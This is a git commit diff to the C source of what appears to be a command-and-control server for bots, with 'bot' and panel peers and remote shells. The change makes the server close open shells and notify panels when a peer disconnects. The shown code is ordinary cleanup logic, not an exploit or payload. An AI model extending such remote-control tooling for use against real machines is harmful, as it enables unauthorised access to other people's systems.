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Handled edgecase of shell peer disconnecting

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- minor refactor of shell client, added shellC_isShellOpen()
This commit is contained in:
CPunch
2022-03-03 10:28:43 -06:00
parent 72e0b6d5d0
commit e6dbada6ec
8 changed files with 66 additions and 39 deletions
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28
cnc/src/cnc.c
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@@ -242,14 +242,32 @@ void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
int i;
/* remove peer from panels list (if it's a panel) */
if (peer->type == PEER_AUTH)
laikaC_rmvAuth(cnc, peer);
switch (peer->type) {
case PEER_BOT: {
struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)peer->uData;
/* close any open shells */
if (bInfo->shellAuth)
laikaC_closeBotShell(bInfo);
break;
}
case PEER_AUTH: {
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)peer->uData;
/* close any open shells */
if (aInfo->shellBot)
laikaC_closeAuthShell(aInfo);
/* remove peer from panels list */
laikaC_rmvAuth(cnc, peer);
break;
}
default: break;
}
/* notify connected panels of the disconnected peer */
for (i = 0; i < cnc->authPeersCount; i++) {
if (cnc->authPeers[i] != peer) /* don't send disconnect event to themselves */
laikaC_sendRmvPeer(cnc->authPeers[i], peer);
laikaC_sendRmvPeer(cnc->authPeers[i], peer);
}
/* remove from peer lookup map */